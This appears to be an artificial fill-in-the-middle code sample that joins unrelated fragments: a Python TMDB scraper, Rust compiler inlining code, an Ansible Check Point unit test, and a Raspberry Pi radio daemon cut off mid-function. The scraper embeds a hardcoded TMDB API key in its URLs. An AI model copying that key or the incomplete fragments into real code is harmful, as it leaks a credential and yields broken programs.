"w1280", "original") Indica la anchura(w) o altura(h) de la imagen a descargar. Por defecto "original" @type size: str @return: Si el tipo_respuesta es "list" devuelve un listado con todas las urls de las imagenes tipo backdrop del tamaño especificado. Si el tipo_respuesta es "str" devuelve la url de la imagen tipo backdrop, mas valorada, del tamaño especificado. Si el tamaño especificado no existe se retornan las imagenes al tamaño original. @rtype: list, str """ ret = [] if size not in ("w45", "w92", "w154", "w185", "w300", "w342", "w500", "w600", "h632", "w780", "w1280"): size = "original" if self.result["backdrop_path"] is None or self.result["backdrop_path"] == "": backdrop_path = "" else: backdrop_path = 'http://image.tmdb.org/t/p/' + size + self.result["backdrop_path"] if tipo_respuesta == 'str': return backdrop_path elif self.result["id"] == "": return [] if len(self.result['images_backdrops']) == 0: # Vamos a lanzar una busqueda por id y releer de nuevo todo self.busqueda_id = str(self.result["id"]) self.__by_id() if len(self.result['images_backdrops']) > 0: for i in self.result['images_backdrops']: imagen_path = i['file_path'] if size != "original": # No podemos pedir tamaños mayores que el original if size[1] == 'w' and int(imagen_path['width']) < int(size[1:]): size = "original" elif size[1] == 'h' and int(imagen_path['height']) < int(size[1:]): size = "original" ret.append('http://image.tmdb.org/t/p/' + size + imagen_path) else: ret.append(backdrop_path) return ret def get_temporada(self, numtemporada=1): # -------------------------------------------------------------------------------------------------------------------------------------------- # Parametros: # numtemporada: (int) Numero de temporada. Por defecto 1. # Return: (dic) # Devuelve un dicionario con datos sobre la temporada. # Puede obtener mas informacion sobre los datos devueltos en: # http://docs.themoviedb.apiary.io/#reference/tv-seasons/tvidseasonseasonnumber/get # http://docs.themoviedb.apiary.io/#reference/tv-seasons/tvidseasonseasonnumbercredits/get # -------------------------------------------------------------------------------------------------------------------------------------------- if not self.result["id"] or self.busqueda_tipo != "tv": return {} numtemporada = int(numtemporada) if numtemporada < 0: numtemporada = 1 if not self.temporada.get(numtemporada, {}): # Si no hay datos sobre la temporada solicitada, consultar en la web # http://api.themoviedb.org/3/tv/1407/season/1?api_key=a1ab8b8669da03637a4b98fa39c39228&language=es& # append_to_response=credits url = "http://api.themoviedb.org/3/tv/%s/season/%s?api_key=a1ab8b8669da03637a4b98fa39c39228&language=%s" \ "&append_to_response=credits" % (self.result["id"], numtemporada, self.busqueda_idioma) buscando = "id_Tmdb: " + str(self.result["id"]) + " temporada: " + str(numtemporada) + "\nURL: " + url logger.info("[Tmdb.py] Buscando " + buscando) try: self.temporada[numtemporada] = self.get_json(url) except: logger.error("No se ha podido obtener la temporada") self.temporada[numtemporada] = {"status_code": 15, "status_message": "Failed"} self.temporada[numtemporada] = {"episodes": {}} if "status_code" in self.temporada[numtemporada]: #Se ha producido un error msg = config.get_localized_string(70496) + buscando + config.get_localized_string(70497) msg += "\nError de tmdb: %s %s" % ( self.temporada[numtemporada]["status_code"], self.temporada[numtemporada]["status_message"]) logger.debug(msg) self.temporada[numtemporada] = {"episodes": {}} return self.temporada[numtemporada] def get_episodio(self, numtemporada=1, capitulo=1): # -------------------------------------------------------------------------------------------------------------------------------------------- # Parametros: # numtemporada(opcional): (int) Numero de temporada. Por defecto 1. # capitulo: (int) Numero de capitulo. Por defecto 1. # Return: (dic) # Devuelve un dicionario con los siguientes elementos: # "temporada_nombre", "temporada_sinopsis", "temporada_poster", "temporada_num_episodios"(int), # "temporada_air_date", "episodio_vote_count", "episodio_vote_average", # "episodio_titulo", "episodio_sinopsis", "episodio_imagen", "episodio_air_date", # "episodio_crew" y "episodio_guest_stars", # Con capitulo == -1 el diccionario solo tendra los elementos referentes a la temporada # -------------------------------------------------------------------------------------------------------------------------------------------- if not self.result["id"] or self.busqueda_tipo != "tv": return {} try: capitulo = int(capitulo) numtemporada = int(numtemporada) except ValueError: logger.debug("El número de episodio o temporada no es valido") return {} temporada = self.get_temporada(numtemporada) if not temporada: # Se ha producido un error return {} if len(temporada["episodes"]) == 0 or len(temporada["episodes"]) < capitulo: # Se ha producido un error logger.error("Episodio %d de la temporada %d no encontrado." % (capitulo, numtemporada)) return {} ret_dic = dict() # Obtener datos para esta temporada ret_dic["temporada_nombre"] = temporada["name"] ret_dic["temporada_sinopsis"] = temporada["overview"] ret_dic["temporada_num_episodios"] = len(temporada["episodes"]) if temporada["air_date"]: date = temporada["air_date"].split("-") ret_dic["temporada_air_date"] = date[2] + "/" + date[1] + "/" + date[0] else: ret_dic["temporada_air_date"] = "" if temporada["poster_path"]: ret_dic["temporada_poster"] = 'http://image.tmdb.org/t/p/original' + temporada["poster_path"] else: ret_dic["temporada_poster"] = "" dic_aux = temporada.get('credits', {}) ret_dic["temporada_cast"] = dic_aux.get('cast', []) ret_dic["temporada_crew"] = dic_aux.get('crew', []) if capitulo == -1: # Si solo buscamos datos de la temporada, # incluir el equipo tecnico que ha intervenido en algun capitulo dic_aux = dict((i['id'], i) for i in ret_dic["temporada_crew"]) for e in temporada["episodes"]: for crew in e['crew']: if crew['id'] not in dic_aux.keys(): dic_aux[crew['id']] = crew ret_dic["temporada_crew"] = dic_aux.values() # Obtener datos del capitulo si procede if capitulo != -1: episodio = temporada["episodes"][capitulo - 1] ret_dic["episodio_titulo"] = episodio["name"] ret_dic["episodio_sinopsis"] = episodio["overview"] if episodio["air_date"]: date = episodio["air_date"].split("-") ret_dic["episodio_air_date"] = date[2] + "/" + date[1] + "/" + date[0] else: ret_dic["episodio_air_date"] = "" ret_dic["episodio_crew"] = episodio["crew"] ret_dic["episodio_guest_stars"] = episodio["guest_stars"] ret_dic["episodio_vote_count"] = episodio["vote_count"] ret_dic["episodio_vote_average"] = episodio["vote_average"] if episodio["still_path"]: ret_dic["episodio_imagen"] = 'http://image.tmdb.org/t/p/original' + episodio["still_path"] else: ret_dic["episodio_imagen"] = "" return ret_dic def get_videos(self): """ :return: Devuelve una lista ordenada (idioma/resolucion/tipo) de objetos Dict en la que cada uno de sus elementos corresponde con un trailer, teaser o clip de youtube. :rtype: list of Dict """ ret = [] if self.result['id']: if self.result['videos']: self.result["videos"] = self.result["videos"]['results'] else: # Primera búsqueda de videos en el idioma de busqueda url = "http://api.themoviedb.org/3/%s/%s/videos?api_key=a1ab8b8669da03637a4b98fa39c39228&language=%s" \ % (self.busqueda_tipo, self.result['id'], self.busqueda_idioma) dict_videos = self.get_json(url) if dict_videos['results']: dict_videos['results'] = sorted(dict_videos['results'], key=lambda x: (x['type'], x['size'])) self.result["videos"] = dict_videos['results'] # Si el idioma de busqueda no es ingles, hacer una segunda búsqueda de videos en inglés if self.busqueda_idioma != 'en': url = "http://api.themoviedb.org/3/%s/%s/videos?api_key=a1ab8b8669da03637a4b98fa39c39228" \ % (self.busqueda_tipo, self.result['id']) dict_videos = self.get_json(url) if dict_videos['results']: dict_videos['results'] = sorted(dict_videos['results'], key=lambda x: (x['type'], x['size'])) self.result["videos"].extend(dict_videos['results']) # Si las busqueda han obtenido resultados devolver un listado de objetos for i in self.result['videos']: if i['site'] == "YouTube": ret.append({'name': i['name'], 'url': "https://www.youtube.com/watch?v=%s" % i['key'], 'size': str(i['size']), 'type': i['type'], 'language': i['iso_639_1']}) return ret def get_infoLabels(self, infoLabels=None, origen=None): """ :param infoLabels: Informacion extra de la pelicula, serie, temporada o capitulo. :type infoLabels: Dict :param origen: Diccionario origen de donde se obtiene los infoLabels, por omision self.result :type origen: Dict :return: Devuelve la informacion extra obtenida del objeto actual. Si se paso el parametro infoLables, el valor devuelto sera el leido como parametro debidamente actualizado. :rtype: Dict """ if infoLabels: ret_infoLabels = InfoLabels(infoLabels) else: ret_infoLabels = InfoLabels() # Iniciar listados l_country = [i.strip() for i in ret_infoLabels['country'].split(',') if ret_infoLabels['country']] l_director = [i.strip() for i in ret_infoLabels['director'].split(',') if ret_infoLabels['director']] l_writer = [i.strip() for i in ret_infoLabels['writer'].split(',') if ret_infoLabels['writer']] l_castandrole = ret_infoLabels.get('castandrole', []) if not origen: origen = self.result if 'credits' in origen.keys(): dic_origen_credits = origen['credits'] origen['credits_cast'] = dic_origen_credits.get('cast', []) origen['credits_crew'] = dic_origen_credits.get('crew', []) del origen['credits'] items = origen.items() # Informacion Temporada/episodio if ret_infoLabels['season'] and self.temporada.get(ret_infoLabels['season']): # Si hay datos cargados de la temporada indicada episodio = -1 if ret_infoLabels['episode']: episodio = ret_infoLabels['episode'] items.extend(self.get_episodio(ret_infoLabels['season'], episodio).items()) # logger.info("ret_infoLabels" % ret_infoLabels) for k, v in items: if not v: continue elif type(v) == str: v = re.sub(r"\n|\r|\t", "", v) # fix if v == "None": continue if k == 'overview': if origen: ret_infoLabels['plot'] = v else: ret_infoLabels['plot'] = self.get_sinopsis() elif k == 'runtime': #Duration for movies ret_infoLabels['duration'] = int(v) * 60 elif k == 'episode_run_time': #Duration for episodes try: for v_alt in v: #It comes as a list (?!) ret_infoLabels['duration'] = int(v_alt) * 60 except: pass elif k == 'release_date': ret_infoLabels['year'] = int(v[:4]) ret_infoLabels['release_date'] = v.split("-")[2] + "/" + v.split("-")[1] + "/" + v.split("-")[0] elif k == 'first_air_date': ret_infoLabels['year'] = int(v[:4]) ret_infoLabels['aired'] = v.split("-")[2] + "/" + v.split("-")[1] + "/" + v.split("-")[0] ret_infoLabels['premiered'] = ret_infoLabels['aired'] elif k == 'original_title' or k == 'original_name': ret_infoLabels['originaltitle'] = v elif k == 'vote_average': ret_infoLabels['rating'] = float(v) elif k == 'vote_count': ret_infoLabels['votes'] = v elif k == 'poster_path': ret_infoLabels['thumbnail'] = 'http://image.tmdb.org/t/p/original' + v elif k == 'backdrop_path': ret_infoLabels['fanart'] = 'http://image.tmdb.org/t/p/original' + v elif k == 'id': ret_infoLabels['tmdb_id'] = v elif k == 'imdb_id': ret_infoLabels['imdb_id'] = v elif k == 'external_ids': if 'tvdb_id' in v: ret_infoLabels['tvdb_id'] = v['tvdb_id'] if 'imdb_id' in v: ret_infoLabels['imdb_id'] = v['imdb_id'] elif k in ['genres', "genre_ids", "genre"]: ret_infoLabels['genre'] = self.get_generos(origen) elif k == 'name' or k == 'title': ret_infoLabels['title'] = v elif k == 'production_companies': ret_infoLabels['studio'] = ", ".join(i['name'] for i in v) elif k == 'credits_cast' or k == 'temporada_cast' or k == 'episodio_guest_stars': dic_aux = dict((name, character) for (name, character) in l_castandrole) l_castandrole.extend([(p['name'], p['character']) for p in v if p['name'] not in dic_aux.keys()]) elif k == 'videos': if not isinstance(v, list): v = v.get('result', []) for i in v: if i.get("site", "") == "YouTube": ret_infoLabels['trailer'] = "https://www.youtube.com/watch?v=" + v[0]["key"] break elif k == 'production_countries' or k == 'origin_country': if isinstance(v, str): l_country = list(set(l_country + v.split(','))) elif isinstance(v, list) and len(v) > 0: if isinstance(v[0], str): l_country = list(set(l_country + v)) elif isinstance(v[0], dict): # {'iso_3166_1': 'FR', 'name':'France'} for i in v: if 'iso_3166_1' in i: pais = Tmdb.dic_country.get(i['iso_3166_1'], i['iso_3166_1']) l_country = list(set(l_country + [pais])) elif k == 'credits_crew' or k == 'episodio_crew' or k == 'temporada_crew': for crew in v: if crew['job'].lower() == 'director': l_director = list(set(l_director + [crew['name']])) elif crew['job'].lower() in ('screenplay', 'writer'): l_writer = list(set(l_writer + [crew['name']])) elif k == 'created_by': for crew in v: l_writer = list(set(l_writer + [crew['name']])) elif isinstance(v, str) or isinstance(v, int) or isinstance(v, float): ret_infoLabels[k] = v else: # logger.debug("Atributos no añadidos: " + k +'= '+ str(v)) pass # Ordenar las listas y convertirlas en str si es necesario if l_castandrole: ret_infoLabels['castandrole'] = sorted(l_castandrole, key=lambda tup: tup[0]) if l_country: ret_infoLabels['country'] = ', '.join(sorted(l_country)) if l_director: ret_infoLabels['director'] = ', '.join(sorted(l_director)) if l_writer: ret_infoLabels['writer'] = ', '.join(sorted(l_writer)) return ret_infoLabels<|fim▁end|>
return info_nfo
<|file_name|>inline.rs<|end_file_name|><|fim▁begin|>// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use lib::llvm::{AvailableExternallyLinkage, SetLinkage}; use metadata::csearch; use middle::astencode; use middle::trans::base::{push_ctxt, trans_item, get_item_val, trans_fn}; use middle::trans::common::*; use middle::ty; use syntax::ast; use syntax::ast_util::local_def; use syntax::ast_util; pub fn maybe_instantiate_inline(ccx: &CrateContext, fn_id: ast::DefId) -> ast::DefId { let _icx = push_ctxt("maybe_instantiate_inline"); match ccx.external.borrow().find(&fn_id) { Some(&Some(node_id)) => { // Already inline debug!("maybe_instantiate_inline({}): already inline as node id {}", ty::item_path_str(ccx.tcx(), fn_id), node_id); return local_def(node_id); } Some(&None) => { return fn_id; // Not inlinable } None => { // Not seen yet } } let csearch_result = csearch::maybe_get_item_ast( ccx.tcx(), fn_id, |a,b,c,d| astencode::decode_inlined_item(a, b, c, d)); return match csearch_result { csearch::not_found => { ccx.external.borrow_mut().insert(fn_id, None); fn_id } csearch::found(ast::IIItem(item)) => { ccx.external.borrow_mut().insert(fn_id, Some(item.id)); ccx.external_srcs.borrow_mut().insert(item.id, fn_id); ccx.stats.n_inlines.set(ccx.stats.n_inlines.get() + 1); trans_item(ccx, &*item); // We're bringing an external global into this crate, but we don't // want to create two copies of the global. If we do this, then if // you take the address of the global in two separate crates you get // two different addresses. This is bad for things like conditions, // but it could possibly have other adverse side effects. We still // want to achieve the optimizations related to this global, // however, so we use the available_externally linkage which llvm // provides match item.node { ast::ItemStatic(_, mutbl, _) => { let g = get_item_val(ccx, item.id); // see the comment in get_item_val() as to why this check is // performed here. if ast_util::static_has_significant_address( mutbl, item.attrs.as_slice()) { SetLinkage(g, AvailableExternallyLinkage); } } _ => {} } local_def(item.id) } csearch::found(ast::IIForeign(item)) => { ccx.external.borrow_mut().insert(fn_id, Some(item.id)); ccx.external_srcs.borrow_mut().insert(item.id, fn_id); local_def(item.id) } csearch::found_parent(parent_id, ast::IIItem(item)) => { ccx.external.borrow_mut().insert(parent_id, Some(item.id)); ccx.external_srcs.borrow_mut().insert(item.id, parent_id); let mut my_id = 0; match item.node { ast::ItemEnum(_, _) => { let vs_here = ty::enum_variants(ccx.tcx(), local_def(item.id)); let vs_there = ty::enum_variants(ccx.tcx(), parent_id); for (here, there) in vs_here.iter().zip(vs_there.iter()) { if there.id == fn_id { my_id = here.id.node; } ccx.external.borrow_mut().insert(there.id, Some(here.id.node)); } } ast::ItemStruct(ref struct_def, _) => { match struct_def.ctor_id { None => {} Some(ctor_id) => { ccx.external.borrow_mut().insert(fn_id, Some(ctor_id)); my_id = ctor_id;<|fim▁hole|> } _ => ccx.sess().bug("maybe_instantiate_inline: item has a \ non-enum, non-struct parent") } trans_item(ccx, &*item); local_def(my_id) } csearch::found_parent(_, _) => { ccx.sess().bug("maybe_get_item_ast returned a found_parent \ with a non-item parent"); } csearch::found(ast::IIMethod(impl_did, is_provided, mth)) => { ccx.external.borrow_mut().insert(fn_id, Some(mth.id)); ccx.external_srcs.borrow_mut().insert(mth.id, fn_id); ccx.stats.n_inlines.set(ccx.stats.n_inlines.get() + 1); // If this is a default method, we can't look up the // impl type. But we aren't going to translate anyways, so don't. if is_provided { return local_def(mth.id); } let impl_tpt = ty::lookup_item_type(ccx.tcx(), impl_did); let unparameterized = impl_tpt.generics.types.is_empty() && mth.generics.ty_params.is_empty(); if unparameterized { let llfn = get_item_val(ccx, mth.id); trans_fn(ccx, &*mth.decl, &*mth.body, llfn, &param_substs::empty(), mth.id, []); } local_def(mth.id) } }; }<|fim▁end|>
} }
<|file_name|>test_cp_mgmt_service_icmp.py<|end_file_name|><|fim▁begin|># Ansible module to manage CheckPoint Firewall (c) 2019 # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from __future__ import absolute_import, division, print_function __metaclass__ = type import pytest from units.modules.utils import set_module_args, exit_json, fail_json, AnsibleExitJson from ansible.module_utils import basic from ansible.modules.network.check_point import cp_mgmt_service_icmp OBJECT = { "name": "Icmp1", "icmp_type": 5, "icmp_code": 7 } CREATE_PAYLOAD = { "name": "Icmp1", "icmp_type": 5, "icmp_code": 7 } UPDATE_PAYLOAD = { "name": "Icmp1", "icmp_type": 45, "icmp_code": 13 } OBJECT_AFTER_UPDATE = UPDATE_PAYLOAD DELETE_PAYLOAD = { "name": "Icmp1", "state": "absent" } function_path = 'ansible.modules.network.check_point.cp_mgmt_service_icmp.api_call' api_call_object = 'service-icmp' class TestCheckpointServiceIcmp(object): module = cp_mgmt_service_icmp @pytest.fixture(autouse=True) def module_mock(self, mocker): return mocker.patch.multiple(basic.AnsibleModule, exit_json=exit_json, fail_json=fail_json) @pytest.fixture def connection_mock(self, mocker): connection_class_mock = mocker.patch('ansible.module_utils.network.checkpoint.checkpoint.Connection') return connection_class_mock.return_value def test_create(self, mocker, connection_mock): mock_function = mocker.patch(function_path)<|fim▁hole|> mock_function.return_value = {'changed': True, api_call_object: OBJECT} result = self._run_module(CREATE_PAYLOAD) assert result['changed'] assert OBJECT.items() == result[api_call_object].items() def test_create_idempotent(self, mocker, connection_mock): mock_function = mocker.patch(function_path) mock_function.return_value = {'changed': False, api_call_object: OBJECT} result = self._run_module(CREATE_PAYLOAD) assert not result['changed'] def test_update(self, mocker, connection_mock): mock_function = mocker.patch(function_path) mock_function.return_value = {'changed': True, api_call_object: OBJECT_AFTER_UPDATE} result = self._run_module(UPDATE_PAYLOAD) assert result['changed'] assert OBJECT_AFTER_UPDATE.items() == result[api_call_object].items() def test_update_idempotent(self, mocker, connection_mock): mock_function = mocker.patch(function_path) mock_function.return_value = {'changed': False, api_call_object: OBJECT_AFTER_UPDATE} result = self._run_module(UPDATE_PAYLOAD) assert not result['changed'] def test_delete(self, mocker, connection_mock): mock_function = mocker.patch(function_path) mock_function.return_value = {'changed': True} result = self._run_module(DELETE_PAYLOAD) assert result['changed'] def test_delete_idempotent(self, mocker, connection_mock): mock_function = mocker.patch(function_path) mock_function.return_value = {'changed': False} result = self._run_module(DELETE_PAYLOAD) assert not result['changed'] def _run_module(self, module_args): set_module_args(module_args) with pytest.raises(AnsibleExitJson) as ex: self.module.main() return ex.value.args[0]<|fim▁end|>
<|file_name|>radio8x2.py<|end_file_name|><|fim▁begin|>#!/usr/bin/env python # # Raspberry Pi Internet Radio # using an HD44780 LCD display # $Id: radio8x2.py,v 1.7 2017/07/31 07:44:26 bob Exp $ # # Author : Bob Rathbone # Site : http://www.bobrathbone.com # # This program uses Music Player Daemon 'mpd'and it's client 'mpc' # See http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki # # # License: GNU V3, See https://www.gnu.org/copyleft/gpl.html # # Disclaimer: Software is provided as is and absolutly no warranties are implied or given. # The authors shall not be liable for any loss or damage however caused. # import os import RPi.GPIO as GPIO import signal import atexit import traceback import subprocess import sys import time import string import datetime from time import strftime import shutil # Class imports from radio_daemon import Daemon from radio_class import Radio from lcd_class import Lcd from log_class import Log from rss_class import Rss # To use GPIO 14 and 15 (Serial RX/TX) # Remove references to /dev/ttyAMA0 from /boot/cmdline.txt and /etc/inittab UP = 0 DOWN = 1 CurrentStationFile = "/var/lib/radiod/current_station" CurrentTrackFile = "/var/lib/radiod/current_track" CurrentFile = CurrentStationFile PlaylistsDirectory = "/var/lib/mpd/playlists/" log = Log() radio = Radio() lcd = Lcd() rss = Rss() # Signal SIGTERM handler def signalHandler(signal,frame): global lcd global log pid = os.getpid() log.message("Radio stopped, PID " + str(pid), log.INFO) lcd.line1("Stopped") lcd.line2("") radio.exit() # Signal SIGTERM handler def signalSIGUSR1(signal,frame): global log global radio log.message("Radio got SIGUSR1", log.INFO) display_mode = radio.getDisplayMode() + 1 if display_mode > radio.MODE_LAST: display_mode = radio.MODE_TIME radio.setDisplayMode(display_mode) return # Daemon class class MyDaemon(Daemon): def run(self): global CurrentFile GPIO.setmode(GPIO.BCM) # Use BCM GPIO numbers GPIO.setwarnings(False) # Ignore warnings # Get switches configuration up_switch = radio.getSwitchGpio("up_switch") down_switch = radio.getSwitchGpio("down_switch") left_switch = radio.getSwitchGpio("left_switch") right_switch = radio.getSwitchGpio("right_switch") menu_switch = radio.getSwitchGpio("menu_switch") boardrevision = radio.getBoardRevision() if boardrevision == 1: # For rev 1 boards with no inbuilt pull-up/down resistors # Wire the GPIO inputs to ground via a 10K resistor GPIO.setup(menu_switch, GPIO.IN) GPIO.setup(up_switch, GPIO.IN) GPIO.setup(down_switch, GPIO.IN) GPIO.setup(left_switch, GPIO.IN) GPIO.setup(right_switch, GPIO.IN) else: # For rev 2 boards with inbuilt pull-up/down resistors the # following lines are used instead of the above, so # there is no need to physically wire the 10k resistors GPIO.setup(menu_switch, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) GPIO.setup(up_switch, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) GPIO.setup(down_switch, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) GPIO.setup(left_switch, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) GPIO.setup(right_switch, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) # Initialise radio log.init('radio') signal.signal(signal.SIGTERM,signalHandler) signal.signal(signal.SIGUSR1,signalSIGUSR1) progcall = str(sys.argv) log.message('Radio running pid ' + str(os.getpid()), log.INFO) log.message("Radio " + progcall + " daemon version " + radio.getVersion(), log.INFO) log.message("GPIO version " + str(GPIO.VERSION), log.INFO) lcd.init(boardrevision) lcd.setWidth(8) hostname = exec_cmd('hostname') ipaddr = exec_cmd('hostname -I') # Display daemon pid on the LCD message = "PID " + str(os.getpid()) lcd.line1(message) time.sleep(2) # Wait for the IP network ipaddr = "" waiting4network = True count = 10 while waiting4network: lcd.scroll2("Wait for network",no_interrupt) ipaddr = exec_cmd('hostname -I') time.sleep(1) count -= 1 if (count < 0) or (len(ipaddr) > 1): waiting4network = False<|fim▁hole|> lcd.line2("No IP") else: lcd.scroll2("IP " + ipaddr, no_interrupt) time.sleep(2) log.message("Starting MPD", log.INFO) lcd.scroll2("Starting MPD", no_interrupt) radio.start() log.message("MPD started", log.INFO) mpd_version = radio.execMpcCommand("version") log.message(mpd_version, log.INFO) lcd.line1("Ver "+ radio.getVersion()) lcd.scroll2(mpd_version,no_interrupt) time.sleep(1) # Auto-load music library if no Internet if len(ipaddr) < 1 and radio.autoload(): log.message("Loading music library",log.INFO) radio.setSource(radio.PLAYER) # Load radio reload(lcd,radio) radio.play(get_stored_id(CurrentFile)) log.message("Current ID = " + str(radio.getCurrentID()), log.INFO) # Set up switch event processing GPIO.add_event_detect(menu_switch, GPIO.RISING, callback=switch_event, bouncetime=200) GPIO.add_event_detect(left_switch, GPIO.RISING, callback=switch_event, bouncetime=200) GPIO.add_event_detect(right_switch, GPIO.RISING, callback=switch_event, bouncetime=200) GPIO.add_event_detect(up_switch, GPIO.RISING, callback=switch_event, bouncetime=200) GPIO.add_event_detect(down_switch, GPIO.RISING, callback=switch_event, bouncetime=200) # Main processing loop count = 0 while True: switch = radio.getSwitch() if switch > 0: get_switch_states(lcd,radio,rss) display_mode = radio.getDisplayMode() lcd.setScrollSpeed(0.3) # Scroll speed normal ipaddr = exec_cmd('hostname -I') # Shutdown command issued if display_mode == radio.MODE_SHUTDOWN: displayShutdown(lcd) while True: time.sleep(1) if len(ipaddr) < 1: lcd.line2("No IP network") elif display_mode == radio.MODE_TIME: if radio.getReload(): log.message("Reload ", log.DEBUG) reload(lcd,radio) radio.setReload(False) else: displayTime(lcd,radio) if radio.muted(): msg = "Sound muted" if radio.getStreaming(): msg = msg + ' *' lcd.line2(msg) else: display_current(lcd,radio) elif display_mode == radio.MODE_SEARCH: display_search(lcd,radio) elif display_mode == radio.MODE_SOURCE: display_source_select(lcd,radio) elif display_mode == radio.MODE_OPTIONS: display_options(lcd,radio) elif display_mode == radio.MODE_IP: lcd.line2("Radio v" + radio.getVersion()) if len(ipaddr) < 1: lcd.line1("No IP") else: lcd.scroll1("IP " + ipaddr, interrupt) elif display_mode == radio.MODE_RSS: displayTime(lcd,radio) display_rss(lcd,rss) elif display_mode == radio.MODE_SLEEP: displayTime(lcd,radio) display_sleep(lcd,radio) # Timer function checkTimer(radio) # Check state (pause or play) checkState(radio) # Alarm wakeup function if display_mode == radio.MODE_SLEEP and radio.alarmFired(): log.message("Alarm fired", log.INFO) unmuteRadio(lcd,radio) displayWakeUpMessage(lcd) radio.setDisplayMode(radio.MODE_TIME) if radio.volumeChanged(): lcd.line2("Volume " + str(radio.getVolume())) time.sleep(0.5) time.sleep(0.1) def status(self): # Get the pid from the pidfile try: pf = file(self.pidfile,'r') pid = int(pf.read().strip()) pf.close() except IOError: pid = None if not pid: message = "radiod status: not running" log.message(message, log.INFO) print message else: message = "radiod running pid " + str(pid) log.message(message, log.INFO) print message return # End of class overrides # Interrupt scrolling LCD routine def interrupt(): global lcd global radio global rss interrupt = False switch = radio.getSwitch() if switch > 0: interrupt = get_switch_states(lcd,radio,rss) # Rapid display of timer if radio.getTimer() and not interrupt: displayTime(lcd,radio) interrupt = checkTimer(radio) if radio.volumeChanged(): lcd.line2("Volume " + str(radio.getVolume())) time.sleep(0.5) if not interrupt: interrupt = checkState(radio) or radio.getInterrupt() return interrupt def no_interrupt(): return False # Call back routine called by switch events def switch_event(switch): global radio radio.setSwitch(switch) return # Check switch states def get_switch_states(lcd,radio,rss): interrupt = False # Interrupt display switch = radio.getSwitch() pid = exec_cmd("cat /var/run/radiod.pid") display_mode = radio.getDisplayMode() input_source = radio.getSource() # Get rotary switches configuration up_switch = radio.getSwitchGpio("up_switch") down_switch = radio.getSwitchGpio("down_switch") left_switch = radio.getSwitchGpio("left_switch") right_switch = radio.getSwitchGpio("right_switch") menu_switch = radio.getSwitchGpio("menu_switch") if switch == menu_switch: log.message("MENU switch mode=" + str(display_mode), log.DEBUG) if radio.muted(): unmuteRadio(lcd,radio) display_mode = display_mode + 1 # Skip RSS mode if not available if display_mode == radio.MODE_RSS and not radio.alarmActive(): if rss.isAvailable() and not radio.optionChanged(): lcd.line2("Getting RSS feed") else: display_mode = display_mode + 1 if display_mode > radio.MODE_LAST: boardrevision = radio.getBoardRevision() lcd.init(boardrevision) # Recover corrupted dosplay display_mode = radio.MODE_TIME radio.setDisplayMode(display_mode) log.message("New mode " + radio.getDisplayModeString()+ "(" + str(display_mode) + ")", log.DEBUG) # Shutdown if menu button held for > 3 seconds MenuSwitch = GPIO.input(menu_switch) count = 15 while MenuSwitch: time.sleep(0.2) MenuSwitch = GPIO.input(menu_switch) count = count - 1 if count < 0: log.message("Shutdown", log.DEBUG) MenuSwitch = False radio.setDisplayMode(radio.MODE_SHUTDOWN) if radio.getUpdateLibrary(): update_library(lcd,radio) radio.setDisplayMode(radio.MODE_TIME) elif radio.getReload(): source = radio.getSource() log.message("Reload " + str(source), log.INFO) lcd.line2("Reloading ") reload(lcd,radio) radio.setReload(False) radio.setDisplayMode(radio.MODE_TIME) elif radio.optionChanged(): log.message("optionChanged", log.DEBUG) option = radio.getOption() if radio.alarmActive() and not radio.getTimer() \ and (option == radio.ALARMSETHOURS or option == radio.ALARMSETMINS): radio.setDisplayMode(radio.MODE_SLEEP) radio.mute() else: radio.setDisplayMode(radio.MODE_TIME) radio.optionChangedFalse() elif radio.loadNew(): log.message("Load new search=" + str(radio.getSearchIndex()), log.DEBUG) radio.playNew(radio.getSearchIndex()) radio.setDisplayMode(radio.MODE_TIME) interrupt = True elif switch == up_switch: if display_mode != radio.MODE_SLEEP: log.message("UP switch display_mode " + str(display_mode), log.DEBUG) if radio.muted(): radio.unmute() if display_mode == radio.MODE_SOURCE: radio.toggleSource() radio.setReload(True) elif display_mode == radio.MODE_SEARCH: wait = 0.5 while GPIO.input(up_switch): radio.getNext(UP) display_search(lcd,radio) time.sleep(wait) wait = 0.1 elif display_mode == radio.MODE_OPTIONS: cycle_options(radio,UP) else: radio.channelUp() if display_mode == radio.MODE_RSS: radio.setDisplayMode(radio.MODE_TIME) interrupt = True else: DisplayExitMessage(lcd) elif switch == down_switch: log.message("DOWN switch display_mode " + str(display_mode), log.DEBUG) if display_mode != radio.MODE_SLEEP: if radio.muted(): radio.unmute() if display_mode == radio.MODE_SOURCE: radio.toggleSource() radio.setReload(True) elif display_mode == radio.MODE_SEARCH: wait = 0.5 while GPIO.input(down_switch): radio.getNext(DOWN) display_search(lcd,radio) time.sleep(wait) wait = 0.1 elif display_mode == radio.MODE_OPTIONS: cycle_options(radio,DOWN) else: radio.channelDown() if display_mode == radio.MODE_RSS: radio.setDisplayMode(radio.MODE_TIME) interrupt = True else: DisplayExitMessage(lcd) elif switch == left_switch: log.message("LEFT switch" ,log.DEBUG) if display_mode != radio.MODE_SLEEP: if display_mode == radio.MODE_OPTIONS: toggle_option(radio,lcd,DOWN) interrupt = True elif display_mode == radio.MODE_SEARCH and input_source == radio.PLAYER: wait = 0.5 while GPIO.input(left_switch): radio.findNextArtist(DOWN) display_search(lcd,radio) time.sleep(wait) wait = 0.1 interrupt = True else: # Decrease volume volChange = True while volChange: # Mute function (Both buttons depressed) if GPIO.input(right_switch): radio.mute() lcd.line2("Mute") time.sleep(2) volChange = False interrupt = True else: volume = radio.decreaseVolume() displayVolume(lcd,radio) volChange = GPIO.input(left_switch) if volume <= 0: 